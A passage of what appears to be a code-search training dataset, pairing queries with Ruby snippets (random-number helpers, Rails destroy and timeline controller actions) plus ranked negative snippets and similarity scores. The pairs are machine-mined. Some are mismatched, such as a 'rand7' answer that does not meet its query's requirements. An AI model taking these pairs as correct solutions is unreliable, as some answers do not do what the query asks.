"def destroy\n @bail = Bail.find(params[:id])\n# @bail.destroy\n\n respond_to do |format|\n format.html { redirect_to(bails_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @sellerring = Sellerring.find(params[:id])\n @sellerring.destroy\n\n respond_to do |format|\n format.html { redirect_to(sellerrings_url) }\n format.xml { head :ok }\n end\n end"
] | [
"0.6633766",
"0.6633766",
"0.65779567",
"0.6555827",
"0.65358436",
"0.6470717",
"0.64569455",
"0.63899976",
"0.63726103",
"0.63538194",
"0.6347651",
"0.6347651",
"0.6347651",
"0.6347651",
"0.6347651",
"0.6347651",
"0.6347651",
"0.6347651",
"0.6347651",
"0.6347651",
"0.6320892",
"0.63177156",
"0.63156176",
"0.6315317",
"0.62793726",
"0.62432146",
"0.62007385",
"0.6172852",
"0.61692065",
"0.6152539",
"0.6138265",
"0.6133816",
"0.612536",
"0.61208904",
"0.6108116",
"0.6104088",
"0.609533",
"0.6095113",
"0.609063",
"0.6088736",
"0.60831034",
"0.60732716",
"0.60729194",
"0.60613257",
"0.6051397",
"0.603909",
"0.6033371",
"0.6026326",
"0.60251623",
"0.60251147",
"0.6024414",
"0.602218",
"0.60174525",
"0.60133827",
"0.60081863",
"0.5996255",
"0.5996255",
"0.5996255",
"0.5996255",
"0.59831935",
"0.5979747",
"0.5974495",
"0.5970768",
"0.59696716",
"0.5961757",
"0.5959317",
"0.5950387",
"0.59381944",
"0.5937118",
"0.5933749",
"0.59326273",
"0.5926853",
"0.5926835",
"0.59246314",
"0.5924149",
"0.5924149",
"0.5924149",
"0.5924149",
"0.5924149",
"0.5924149",
"0.5924149",
"0.59230286",
"0.5922875",
"0.5919482",
"0.591786",
"0.5917575",
"0.5917108",
"0.5916586",
"0.5916586",
"0.5916457",
"0.5913437",
"0.59113526",
"0.5910577",
"0.5910256",
"0.59074783",
"0.59033686",
"0.5899764",
"0.58883005",
"0.58881056",
"0.5880998"
] | 0.70728403 | 0 |
it to write a function rand5() that generates a random integer from 1 to 5. rand7() returns each integer with equal probability. rand5() must also return each integer with equal probability. | def rand7
rand * 7
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def rand5()\n rand(1..5)\nend",
"def rand5\n rand(1..5)\nend",
"def rand5\n rand(0...5)\nend",
"def rand_choice \n Random.rand(0...6)\n end",
"def generate_random_number\n rand(1..6) + 1\nend",
"def random_number \n rand(6) + 1 \nend",
"def multiply_by_1_5(n)\n n = n.to_i\n is_one_third = rand(3) == 0\n result = (n * 1.5).floor\n result += 1 if is_one_third && n.odd?\n result -= 1 if is_one_third && n.even?\n result\n end",
"def dice_roll\n rand(1..6)\n end",
"def probability\n rand(1..100)\n end",
"def dice\n rand(1..6) + rand(1..6)\nend",
"def tirar_dado\r\n\trand 1..6\r\nend",
"def random_no\n rand(5000)\nend",
"def randomf(range)\n return rand * range\nend",
"def dice(minimum, maximum)\n rand(minimum..maximum)\nend",
"def roll\n dice_roll = (1..6)\n #.. includes 6\nrand(dice_roll)\n # code goes here\nend",
"def compute_damage\n rand(1..6)\n end",
"def random(range)\n return rand(range + 1)\nend",
"def nostalgia; return rand end",
"def tirar_dado\r\n rand 1..6\r\nend",
"def tirar_dado\n rand 1..6\nend",
"def roll_a_dice\n\t\trand(1..6)\n\tend",
"def tirar_dado\n rand 1..6\nend",
"def tirar_dado\n rand 1..6\nend",
"def tirar_dado\n rand 1..6\nend",
"def generate_random_number\n (1..10).to_a.sample\nend",
"def randomizer\n number = rand(0..1)\n return number\nend",
"def roll\n random_nums = rand(1..6)\n random_nums\nend",
"def roll\n # code goes here\n\n # Generates a random integer between 1-6, inclusive\n # Using ranges\n rand(1..6)\n\n # Using an array\n [1,2,3,4,5,6].sample\nend",
"def random_num_generator\n return rand(1..100)\nend",
"def random_num_generator\n return rand(1..100)\nend",
"def rand_gen\n rand100 = rand(1..100)\n if (0..50).cover?(rand100)\n output_val = 1\n elsif (51..75).cover?(rand100)\n output_val = 2\n elsif (76..90).cover?(rand100)\n output_val = 3\n elsif (91..95).cover?(rand100)\n output_val = 4\n elsif (96..100).cover?(rand100)\n output_val = 5\n end\n handle_output(output_val)\n end",
"def dice_roll\n return (rand(6) + 1)\n end",
"def do_i?(i = 5)\n rand(500) < 50 * i\nend",
"def roll\n rand(1...7)\nend",
"def compute_damage\n return rand(1..6)\n end",
"def compute_damage\n return rand(1..6)\n end",
"def compute_damage\n \treturn rand(1..6)\n end",
"def roll_dice\n dice = rand(6) + 1\n end",
"def roll(1...7)\n puts rand(1...7)\nend",
"def compute_damage\r\n return rand(1..6)\r\n end",
"def compute_damage\n return rand(1..6)\n end",
"def chance(c)\n return rand < c\nend",
"def roll\n # answer using ranges\n #rand(6)+1\n\n #answer using arrays\n values = [1,2,3,4,5,6]\n values[rand(6)]\nend",
"def random_number\n rand(1..20)\nend",
"def random_resilience_generator\n self.resilience = 10.times.sum{ Random.rand(1..13) } \n end",
"def roll\n #rand(1..6)\n ans = (1..6).to_a\n ans[rand(0..5)]\nend",
"def compute_damage\n return rand(1..6)\n end",
"def random_number\n rand(0..20)\n end",
"def roll\n rand(6) #=> gives a random number between 0 and 6 inclusively\n rand(1..6) #=> gives a random number between 1 and 6 inclusively \nend",
"def this_one_should_fail_randomly?\n (rand * 5).round == 0\n end",
"def roll\n rand(1..6)\nend",
"def roll\n rand(1..6)\nend",
"def biased_random_number(prob_arr)\n # http://stackoverflow.com/questions/479236/how-do-i-simulate-biased-die-in-python\n rand_roll = rand()\n sum = 0 \n result = 0\n prob_arr.each do |i|\n sum += i\n if rand_roll < sum\n return result\n end\n result += 1\n end\n # puts \"prob_arry:\" + prob_arr.to_s\n # puts \"rand_roll: \" + rand_roll.to_s\n # puts prob_arr.join(\" \")\n return result - 1\n end",
"def roll\n Random.rand(1..6)\nend",
"def dice\n number = rand(6)\n if number == 0\n return 6\n else\n return number\n end\nend",
"def random\n 1 + (10 * rand(0))\n end",
"def random_number\n rand 0..20\nend",
"def roll\n 1 + rand(6)\n # the code below also works! Keep in mind for the deli counter problem.\n # my_array = (1..6).to_a \n # random_sample = my_array.sample\nend",
"def roll\n # code goes here\n 1 + rand(6) #1st method\n number = [1, 2, 3, 4, 5, 6] #2nd method\n number.sample #2nd method\nend",
"def roll\n return rand(1..6)\nend",
"def roll\n return rand(1..6)\nend",
"def roll\n return rand(1..6)\nend",
"def roll\n return rand(1..6)\nend",
"def roll(x = (0..5))\n 1 + rand(x)\nend",
"def random_boolean\r\n return Random.rand >= 0.5\r\n end",
"def roll\n number = rand(1..6)\n number\nend",
"def roll_die\n Random.new.rand(1..6)\nend",
"def roll\n return rand 1..6\nend",
"def number_generator\n rand(1..20)\n end",
"def random_int(max)\n rand(max)\nend",
"def roll\n # code goes here\n #roll = rand(1..6)\n #roll\n roll_array = [1, 2, 3, 4, 5, 6]\n roll_array.sample\nend",
"def uniform_int(n)\n (rand()*n).to_i\nend",
"def biased_random(n)\n # For the time being, we make the bias hard-coded. Maybe it could\n # become a user property one day.\n # The bias is represented by a constant bias_prob, which is a number\n # greater than 0 and less than 100 (think of it as probability given\n # as a percentage value). bias_prob > 50 gives preference\n # to lower numbers (which is what we want to have), and the larger\n # it is, the stronger is the preference for lower numbers. For\n # bias_prob == 50, all numbers in the range would have, in theory,\n # equal chance, but due to the sloppy implementation of this function,\n # this is only correct if n is a power of 2.\n bias_prob=75\n low=0\n high=n-1\n # A recursive solution would be most elegant, but we have no control\n # over the size of n.\n while low<high\n split = (high+low) / 2 # rounded down!\n if rand(100) < bias_prob\n high=split\n else\n low=split\n end\n end\n low\n end",
"def roll_dice(num_dice)\n\tdice_roll_result = num_dice.times.map{ 1 + Random.rand(6) }\n\treturn dice_roll_result\nend",
"def generateAccuracy()\n return (rand 0.6..0.8)\nend",
"def random_pick(number)\n sort_by{ rand }.slice(0...number)\n end",
"def by_five?(n)\n return n % 5 == 0\nend",
"def roll(dice)\n rand(1..6)*dice\nend",
"def random_fake_ruby(rng)\n total_fake = rng.rand(0..@max_ruby[1])\n total_fake\n end",
"def many_random()\n 10.times do\n p (0...5).map { (65 + rand(26)).chr }.join\n end\nend",
"def roll_dice(dice = 1)\n total = 0\n dice.times do |n|\n total += Random.rand(1..6)\n end\n total\nend",
"def roll\n\n #random number using range\n rand(1..6)\n\n#random number using array\n ary = [1,2,3,4,5,6]\n ary[rand(ary.length)]\nend",
"def randomRoll\n\t 1 + rand(6)\n\tend",
"def srand(num=0) end",
"def roll\n # code goes here\n # rand(1..6)\n values = [1,2,3,4,5,6]\n result = rand(0..5)\n return values[result]\nend",
"def gen_num\n rand(1..100)\nend",
"def roll_on_five\n \n x = rand(1..5)\n return x\n\n rescue => exception\n warn exception.message\n puts exception.backtrace.inspect\n \nend",
"def roll\n Random.rand(6)+1\n end",
"def round_to_next_5(n)\n while n%5 != 0\n n+=1\n end\n return n\nend",
"def roll\n Random.rand(6) + 1\nend",
"def generateWinnNumbers()\n\tnumbers = []\n\tnumbers = (0..5).map{rand(0..10)}.uniq\n\treturn numbers\nend",
"def roll_die\n die_roll = rand(1..6)\n #\nend",
"def gen\n (x=rand)>0.5 ? x : (x < rand/2.0) ? 1.0 - x : x\nend",
"def guess_number_1\n random_number = rand(100) # rand gives random number between 0 and x-1\n puts \"Guess a number any number\"\nend",
"def gen_rand b\n p = rand(2**b)+2**b-1\n while ! rand_test p\n# puts p\n p += 1\n end\n p\nend",
"def random_to_one\n return rand()\n end",
"def random_to_one\n return rand()\n end",
"def random_to_one\n return rand()\n end",
"def random_to_one\n return rand()\n end",
"def generate_harder_value(rnd_obj, _)\n # generate from the top 70% upwards\n min, max = fetch_min_max_values\n diff = max-min\n top_seventy_percent = 0.7 * diff\n @value = rnd_obj.rand(Integer(top_seventy_percent)..max)\n end"
] | [
"0.77966285",
"0.7790056",
"0.7729562",
"0.7040067",
"0.67719704",
"0.6744785",
"0.6587653",
"0.6585929",
"0.6563516",
"0.65153885",
"0.6499675",
"0.6494788",
"0.6481278",
"0.6452113",
"0.64404243",
"0.6400955",
"0.63950264",
"0.6376528",
"0.6375876",
"0.63633966",
"0.6362167",
"0.63483894",
"0.63483894",
"0.63483894",
"0.6344973",
"0.63417125",
"0.63312495",
"0.6330931",
"0.6325114",
"0.6325114",
"0.6315849",
"0.6309813",
"0.63022816",
"0.6294131",
"0.62899977",
"0.62899977",
"0.6283369",
"0.6274012",
"0.6259534",
"0.6259414",
"0.62556034",
"0.6251823",
"0.62277776",
"0.6227766",
"0.6220765",
"0.6211399",
"0.62087286",
"0.61999154",
"0.6199546",
"0.6193343",
"0.6186267",
"0.6186267",
"0.6183242",
"0.6179048",
"0.6177756",
"0.6159222",
"0.61569095",
"0.6154547",
"0.61449945",
"0.61445934",
"0.6124057",
"0.6124057",
"0.6124057",
"0.6123609",
"0.6100397",
"0.6099032",
"0.60886204",
"0.60848004",
"0.6084614",
"0.60832757",
"0.60820884",
"0.6078883",
"0.60714674",
"0.6067804",
"0.6057376",
"0.60564065",
"0.6054836",
"0.6052575",
"0.6051007",
"0.6035555",
"0.6025966",
"0.6023617",
"0.60213894",
"0.5996242",
"0.5994563",
"0.5986893",
"0.59861314",
"0.5980056",
"0.597419",
"0.5970537",
"0.59689623",
"0.5964075",
"0.5959318",
"0.59544945",
"0.5949882",
"0.5944364",
"0.5944364",
"0.5944364",
"0.5944364",
"0.5942888"
] | 0.71795905 | 3 |
OVERRIDDEN from BL Get Timeline data if view is Timeline | def index
params.delete(:q_ws)
(@response, @document_list) = search_results(params, search_params_logic)
if params[:view].present? && params[:view].include?('timeline')
@timeline_data = timeline_data
end
respond_to do |format|
format.html { store_preferred_view }
format.rss { render layout: false }
format.atom { render layout: false }
format.json do
render json: render_search_results_as_json
end
additional_response_formats(format)
document_export_formats(format)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def timeline\n request('timeline')\n end",
"def parse_timeline\n\nend",
"def show\n timeline\n end",
"def public_timeline\n Chirpy.public_timeline\n end",
"def timeline\n twitter.home_timeline\n end",
"def timeline(action=nil)\n timelines.mine.all(action)\n end",
"def index\n @timelines = Timeline.where(user_id: current_user.id).order(:name)\n respond_to do |format|\n format.turbo_stream { render \"shared/index\", locals: { object: Timeline.new, objects: @timelines } }\n end\n end",
"def timeline\n Chirp.timeline(current_user)\n render json: @chirp\n end",
"def timeline\n []\n end",
"def show_timeline\n if params[:task_group_id].present?\n @task_group = TaskGroup.find(params[:task_group_id])\n @project = @task_group.projects.find(params[:project_id])\n else\n @project = Project.find(params[:project_id])\n @task_group = @project.task_group\n end\n end",
"def load_timeline\n @timeline = if @which_timeline\n load_timeline_from_api @which_timeline\n elsif @new_status\n timeline = load_timeline_from_api\n if timeline.map(&:id).include?(@new_status.id)\n @new_status = nil\n else\n timeline = [@new_status] + timeline\n end\n timeline\n elsif testing_ui?\n update_fixture_file load_timeline_from_api if not File.exist?(timeline_fixture_path)\n load_timeline_from_cache\n else\n load_timeline_from_api\n end || []\n \n @timeline = @timeline.first(10)\n \n update_fixture_file @timeline\n end",
"def set_timeline\n @timeline = Timeline.find(params[:id])\n end",
"def set_timeline\n @timeline = Timeline.find(params[:id])\n end",
"def timeline(options = {})\n self.class.history.timeline(self, options)\n end",
"def timeline(options = {})\n self.class.history.timeline(self, options)\n end",
"def show\n id = params[:id]\n init_core_tl_display_vars()\n get_timeline_data_for_display(id)\n \n @local_page_title = @timeline.title\n if @timeline.desc.present?\n @local_page_desc = @timeline.desc\n else\n @local_page_desc = @timeline.title\n end \n \n @complete_page_url = \"#{request.protocol}#{request.host_with_port}#{request.fullpath}\"\n logger.debug(\"Complete page path: \" + @complete_page_url)\n \n @tl_container_page_path = timeline_path(@timeline)\n if signed_in?\n if !current_user.nil?\n # remember query key in session. We'll need if user edits/delets event\n #session[:qkey] = query_key\n \n # Remember listviewurl , we need it in edit func.\n if @viewstyle == 'list'\n tmp_list_url = generate_list_view_url(nil,@tlid, @fromdate, @todate, @fullscr== 'true'?true:false, @events_on_a_page, @tl_container_page_path)\n session[:listviewurl] = tmp_list_url\n end\n end\n end\n record_activity(\"t=#{@timeline.title}\")\n\n if @fullscr == \"true\"\n render :template => \"timelines/tl-fullscr\", :formats => [:html], :handlers => :haml,\n :layout => \"tl\"\n elsif @embeddedview == \"true\"\n #\n #Preview case is also covered here.\n #\n render :template => \"events/tl\", :formats => [:html], :handlers => :haml,\n :layout => \"tl\"\n else\n # Normal timeline page rendering with default layout etc.\n # ...\n end\n end",
"def index\n @events = if @timeline.nil? then Event.all else @timeline.events end\n end",
"def timeline\n index\n new\n end",
"def show\n @timeline = Timeline.find(params[:id])\n @orbituarysite = current_user.orbituarysites.new \n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @timeline }\n end\n end",
"def index\n @timeline_objects = TimelineObject.where(:user_id => current_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @timeline_objects }\n end\n end",
"def show\n # trying to place things on timeline\n # (D / T) * (# of pixels in the line)\n if @timeline.events.where(\"user_id > 0\").count > 0\n events = @timeline.events.where(\"user_id > 0\").order(\"date ASC\")\n @start_date = events.first.date\n end_date = events.last.date\n @total_time_length = end_date - @start_date\n end\n end",
"def set_timeline\n @timeline = Timeline.find(params[:id])\n end",
"def set_timeline\n @timeline = Timeline.find(params[:id])\n end",
"def timeline \n\t\tTimeline.new(@user)\n\tend",
"def set_timeline\n @timeline = Timeline.find(params[:id].nil? ? params[:timeline_id] : params[:id])\n end",
"def show\n @timeline = Timeline.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @timeline }\n end\n end",
"def index\n if params[:tag]\n @tag = Tag.find_by_name(params[:tag])\n @timelines = @tag.timelines.where(\"user_id > 0\").order(\"CREATED_AT DESC\")\n else\n @timelines = Timeline.where(\"user_id > 0\").order(\"CREATED_AT DESC\")\n end \n end",
"def index\n @timelines = Timeline.all.order(:name)\n end",
"def display_timeline\n timeline_search_results = []\n TWITTER.home_timeline.each do |tweet|\n timeline_search_results << [tweet.user.name, tweet.text]\n # binding.pry\n end\n timeline_search_results\n end",
"def show\n @timeline = Timeline.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @timeline }\n format.json { render :xml => @timeline }\n end\n end",
"def show\n @timeline_object = TimelineObject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @timeline_object }\n end\n end",
"def timeline\n @user = User.find(params[:data])\n @slot_assesses = @user.slot_assesses.where(\"status != 'Not Added Yet'\")\n # @slot_assesses = @user.slot_assesses.where(status: \"Not Assessed Yet\")\n # @slot_assessed = @user.slot_assesses.where(\"status = 'Passed' or status = 'Not Passed'\")\n slot_assess_ids = @slot_assesses.map(&:id)\n # @slot_assesses.each{ |sa| slot_assess_ids.push(sa.id)}\n # @slot_assessed.each{ |sa| slot_assess_ids.push(sa.id)}\n\n type = params[:type] || \"\"\n case type\n when \"\"\n @evidences = Evidence.where(slot_assess_id: slot_assess_ids).limit(3).order(\"created_at desc\")\n when \"last_month\"\n @evidences = Evidence.where(slot_assess_id: slot_assess_ids).where(\"created_at > ?\", (Time.now - 1.month)).order(\"created_at desc\")\n when \"last_6_months\"\n @evidences = Evidence.where(slot_assess_id: slot_assess_ids).where(\"created_at > ?\", (Time.now - 6.month)).order(\"created_at desc\")\n when \"last_year\"\n @evidences = Evidence.where(slot_assess_id: slot_assess_ids).where(\"created_at > ?\", (Time.now - 1.year)).order(\"created_at desc\") \n when \"show_all\"\n @evidences = Evidence.where(slot_assess_id: slot_assess_ids).order(\"created_at desc\") \n end\n\n # @recently_added_slots = @user.slot_assesses.where(SlotAssess.arel_table[:status].not_eq(\"Not Added Yet\")).limit(8).order(\"updated_at desc\")\n # @not_added_slots = @user.slot_assesses.where(status: \"Not Added Yet\").limit(8).order(\"updated_at desc\")\n\n render :layout => false\n end",
"def dashboard_promo_hours_graph_data\n current_company.campaigns.active.accessible_by_user(current_company_user).promo_hours_graph_data\n end",
"def timeline\n\t\t\t\tbookmarks_loader(Time.now, doorkeeper_token.resource_owner_id) \n\t\t\t\tbookmarks_formatter\t\t\t\t\n\t\t\tend",
"def timeline(options={})\n parse_post_timeline(request(singular(id) + \"timeline\", options))\n end",
"def index\n @sys_msgs_timelines = SysMsgsTimeline.order(\"created_at DESC\").page(params[:page]).per(10)\n respond_to do |format|\n format.json {\n render json: {page: @sys_msgs_timelines.current_page,total_pages: @sys_msgs_timelines.total_pages, feeds: @sys_msgs_timelines}\n }\n end\n end",
"def show\n ids = @timeline.holocene_events.pluck(:id)\n @grid = HoloceneEventsGrid.new(hgrid_params.merge({ id: ids })) do |scope|\n scope.joins(:timelines).where(\"timelines.id = ?\", @timeline.id).includes([:event_types, :region, :rich_text_body]).page(params[:page])\n end\n respond_to do |format|\n format.turbo_stream { render \"shared/show\", locals: { object: @timeline, new_link_path: 'timelines', new_link_name: 'show_new_link' } }\n end\n end",
"def timeline(action=nil)\n if @timeline\n case action\n when :update, :refresh, :sync\n @timeline = @client.timeline_for(:user, :id => @info.id.to_s)\n when nil\n @timeline\n else\n raise ArgumentError, \"#{action} is not a valid argument for friend.timeline.\"\n end\n else\n @timeline = @client.timeline_for(:user, :id => @info.id.to_s)\n end\n end",
"def timeline(options={})\n self.class.parse_user_timeline(request(singular(user_id) + \"/timeline\", options))\n end",
"def show\n id = params[:id]\n init_core_tl_display_vars()\n get_timeline_data_for_display(id)\n @local_page_title = @tlentry.title\n @complete_page_url = \"#{request.protocol}#{request.host_with_port}#{request.fullpath}\"\n logger.debug(\"Complete page path: \" + @complete_page_url)\n \n @tl_container_page_path = timeline_path(@tlentry)\n if signed_in?\n if !current_user.nil?\n # remember query key in session. We'll need if user edits/delets event\n #session[:qkey] = query_key\n \n # Remember listviewurl , we need it in edit func.\n if @viewstyle == 'list'\n tmp_list_url = generate_list_view_url(nil,@tlid, @fromdate, @todate, @fullscr== 'true'?true:false, @events_on_a_page, @tl_container_page_path)\n session[:listviewurl] = tmp_list_url\n end\n end\n end\n \n if @fullscr == \"true\"\n render :template => \"timelines/tl-fullscr\", :formats => [:html], :handlers => :haml,\n :layout => \"tl\"\n end \n end",
"def activities\n\t activity_feed.activities\n\tend",
"def new\n @tln = Orbituarysite.find(params[:id]) \n @timeline = @tln.timelines.new\n @orbituarysite = current_user.orbituarysites.new \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @timeline }\n end\n end",
"def get_json_ld()\n parent_data = {'datePublished' => self.created_at, 'dateModified' => self.updated_at}\n data = []\n if dc_json_lds.size > 0\n dc_json_lds.where(active: true).each do |element|\n dta = element.get_json_ld(parent_data)\n data << dta if dta.size > 0\n end\n end\n data \n end",
"def list_timeline(list_owner_username, slug, query = {})\n perform_get(\"/#{list_owner_username}/lists/#{slug}/statuses.json\", :query => query)\nend",
"def timeline(params={:include => [:events, :attractions, :meals, :transportations]})\n dataset = {}\n if params[:include]\n timeline_include_events(dataset) if params[:include].include?(:events)\n timeline_include_attractions(dataset) if params[:include].include?(:attractions)\n timeline_include_transportations(dataset) if params[:include].include?(:transportations)\n timeline_include_meals(dataset) if params[:include].include?(:meals)\n end\n \n dataset.each do |k, v|\n \n end\n \n return dataset\n end",
"def load_timeline\n @timeline = if @which_timeline\n load_timeline_from_api @which_timeline\n elsif @new_status\n # TODO need some better handling of failwhale here\n if timeline = load_timeline_from_api\n if timeline.map(&:id).include?(@new_status.id)\n @new_status = nil\n else\n timeline.unshift @new_status\n end\n end\n timeline\n elsif testing_ui?\n update_fixture_file load_timeline_from_api if not File.exist?(timeline_fixture_path)\n load_timeline_from_cache\n else\n load_timeline_from_api\n end || []\n \n if @timeline.empty?\n # Twitter is over capacity\n if @new_status\n fail_status.text << \" Your update was received and should show up as soon as Twitter resumes service.\"\n end\n @timeline = [fail_status] + load_timeline_from_cache\n else\n # Need to make sure to do this only when Twitter is not \n # over capacity so we don't dump failwhale statuses into the cache.\n update_fixture_file @timeline\n end\n end",
"def activities\n @activities = if @project\n @project.activities\n else\n User.current.projects.all(:include => :time_entry_activities).map(&:time_entry_activities).flatten + TimeEntryActivity.shared.active\n end\n\n respond_to do |format|\n format.xml\n end\n end",
"def show\n get_activity\n @items = (@my_precontent + @precontent).flatten.uniq.sort {|a,b| b.published_at.to_i <=> a.published_at.to_i}[0..19]\n end",
"def index\n @time_lines = TimeLine.all\n end",
"def timeline(options={})\n self.class.parse_post_timeline(request(singular(question_id) + \"/timeline\", options))\n end",
"def on_timeline(tweet)\n end",
"def timeline\n tweets = []\n following.merge(my_info).each do |nick,url|\n tweets.concat timeline_for_user(nick,url)\n end\n tweeets = tweets[-timeline_limit, timeline_limit].sort_by { |h| h[:date] }\n (timeline_sort == 'descending') ? tweets.reverse : tweets\nend",
"def timelines_quickview\n @total_timelines = Timeline.count()\n @total_users = User.count()\n @total_events = Event.count()\n @total_tags = Tag.count()\n @timelines_authors_summary = Timeline.select(\"owner_id as his_id, count(*) as his_count\").group(\"owner_id\").order(\"his_count DESC\")\n @authors_details = Hash.new\n \n @timelines_authors_summary.each do |each_author_summary|\n user_entry = nil\n begin\n user_entry = User.find(each_author_summary.his_id)\n rescue\n end\n @authors_details[each_author_summary.his_id] = user_entry\n end\n \n render :template => \"timelines/timelines_quickview\", :formats => [:html], :handlers => :haml \n end",
"def timelines_quickview\n @total_timelines = Timeline.count()\n @total_users = User.count()\n @total_events = Event.count()\n @total_tags = Tag.count()\n @timelines_authors_summary = Timeline.select(\"owner_id as his_id, count(*) as his_count\").group(\"owner_id\").order(\"his_count DESC\")\n @authors_details = Hash.new\n \n @timelines_authors_summary.each do |each_author_summary|\n user_entry = nil\n begin\n user_entry = User.find(each_author_summary.his_id)\n rescue\n end\n @authors_details[each_author_summary.his_id] = user_entry\n end\n \n render :template => \"timelines/timelines_quickview\", :formats => [:html], :handlers => :haml \n end",
"def timeline\n # Get users you are following\n _users_following = @current_user.following\n users_following = Array.new\n _users_following.each do |r|\n users_following.push(User.find_by(id: r.followed_id))\n end\n\n # Get posts of the users you are following\n posts_following = Array.new\n users_following.each do |user|\n posts_following.push(Post.where(user_id: user.id))\n end\n\n # Single loop gives an error (don't know why)\n @posts_timeline = Array.new\n posts_following.each do |post|\n post.each do |p|\n @posts_timeline.push(p)\n end\n end\n\n @posts_timeline = @posts_timeline.sort_by{|p| p.updated_at}\n @posts_timeline = @posts_timeline.reverse\n end",
"def show\n project_activities = Activity.where(\"trackable_type = 'Project' and trackable_id in (?)\", @current_user.projects.map {|p| p.id})\n msg_activities = Activity.where(\"trackable_type = 'Message' and recipient_id = (?)\", @current_user.id)\n activities = project_activities + msg_activities\n content = Domain::Decorators::AddWrapping.new(activities.map(&:serializable_hash), @current_user).decorate\n render response: { dashboard: content }\n end",
"def history_data\n @id = params[:id]\n @item_history = []\n @item_name = @item_names[@id.to_i]\n json_str = Net::HTTP.get(URI.parse(\"http://#{THINGSPEAK_SERVER}/channels/#{OT_CHANNEL}/feed.json?results=200\")) \n parsed_hash = ActiveSupport::JSON.decode(json_str)\n parsed_hash[\"feeds\"].each do |e|\n if e[\"field1\"] == @id\n item = {}\n t = Time.strptime(e[\"created_at\"], \"%FT%T%z\")\n item[\"time\"] = t.strftime(\"%b %d, %Y %H:%M:%S\")\n item[\"curr_loc\"] = e[\"field4\"]\n @item_history.push(item)\n end\n end\n\n render :template => \"static/history_data\", :formats => [:json], :handlers => \"haml\", :layout => false\n end",
"def timeline( end_time=Time.now )\n Encounter.where('user_id = (?)',self.id).where('created_at <= (?)', end_time)\n end",
"def show\n respond_to do |format|\n format.json { render json:{location: @sys_msgs_timeline }}\n end\n end",
"def create\n @timeline = Timeline.new(timeline_params)\n\n respond_to do |format|\n if @timeline.save\n @object = @timeline\n @timelines = Timeline.where(user_id: current_user.id).order(:name)\n ids = @timeline.holocene_events.pluck(:id)\n @grid = HoloceneEventsGrid.new(hgrid_params.merge({ id: ids })) do |scope|\n scope.includes([:event_types, :region, :rich_text_body]).page(params[:page])\n end\n format.html { redirect_to @timeline, notice: 'Timeline was successfully created.' }\n format.json { render :show, status: :created, location: @timeline }\n flash.now[:notice] = \"Timeline was successfully created.\"\n format.turbo_stream { render \"shared/index\", locals: { object: Timeline.new, objects: @timelines } }\n else\n format.html { render :new }\n format.json { render json: @timeline.errors, status: :unprocessable_entity }\n end\n end\n end",
"def home_timeline(params={}, options={})\n query = params.clone\n return send_status_request(:home_timeline, query, options)\n end",
"def new\n @local_page_title = \"Create new timeline\"\n @local_page_desc = \"New timeline creation as per the need of the user\"\n \n # @timeline = Timeline.new (done in load_and_authorize_resource)\n @timeline_tags_json = \"[]\"\n render :template => \"timelines/new\", :formats => [:html], :handlers => :haml\n end",
"def show\n @orbituarysite = Orbituarysite.find(params[:id])\n # @notice_display = @orbituarysite.notice_displays.build\n # @notice_event_contact = @notice_display.notice_event_contacts.build\n # @notice_event_place = @notice_display.notice_event_places.build\n @history = @orbituarysite.histories.build\n @memory = @orbituarysite.memories.build\n @condolence = @orbituarysite.condolences.build\n @orbiturer_share_image = @orbituarysite.orbiturer_share_images.build\n # @notice_event_place_maps = @orbituarysite.notice_displays.first.notice_event_places.to_gmaps4rails\n @timeline = @orbituarysite.timelines.build\n Rails.logger.info @notice_event_place_maps\n\n @timelines = Timeline.where(:orbituarysite_id => @orbituarysite.id)\n\n # event_place = @notice_display.notice_event_places.build\n # @orbituarysite = Orbituarysite.find(params[:orbituarysite])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: json_out = {\n \"timeline\"=>\n {\n \"headline\"=>\"The Main Timeline Headline Goes here\",\n \"type\"=>\"default\",\n \"text\"=>\"<p>Intro body text goes here, some HTML is ok</p>\",\n \"asset\"=> {\n \"media\"=>\"http://www.exglam.com/wp-content/uploads/2013/02/Kajal-agarwal-in-Blue-and-white-Fade-Short-with-white-Top-and-a-Blue-bow-in-hair.jpg\",\n \"credit\"=>\"Credit Name Goes Here\",\n \"caption\"=>\"Caption text goes here\"\n },\n\n \"date\"=> @timelines.map { |timeline| {\"startDate\" => timeline.startdate.strftime(\"%Y,%m,%d\"),\"endDate\" => timeline.enddate.strftime(\"%Y,%m,%d\"),\"headline\" => timeline.headline,\"text\" => timeline.content, \"asset\" => {\"media\" => timeline.media}}},\n\n\n \"era\"=> [\n {\n \"startDate\"=>\"2011,12,10\",\n \"endDate\"=>\"2011,12,11\",\n \"headline\"=>\"Headline Goes Here\",\n \"text\"=>\"<p>Body text goes here, some HTML is OK</p>\",\n \"tag\"=>\"This is Optional\"\n }\n\n ]\n }\n } }\n end\n end",
"def load_realtime_data\n proto = Net::HTTP.get(URI.parse(realtime_url))\n data = Transit_realtime::FeedMessage.decode(proto)\n\n schedule_data = []\n data.entity.each do |entity|\n if entity.field?(:trip_update)\n schedule_data << entity.trip_update.to_hash_value\n end\n end\n schedule_data\n end",
"def show\n @activities = PublicActivity::Activity.order(\"created_at desc\").where(owner_id: @profile.user.id, owner_type: \"User\")\n end",
"def user_timeline(query={})\n\t\t# La fonction user_timeline est disponible à partir de l'API REST mais pas à partir de l'API \"twitter\", j'ai refait la fonction à la main \n\t\tHTTParty.get('http://twitter.com/statuses/user_timeline.json', :query => query)\n end",
"def index\n @live_data = LiveDatum.all\n end",
"def timeline\n @bookings = Booking.find_waiting_pickup\n respond_to do |format|\n format.xml\n end\n end",
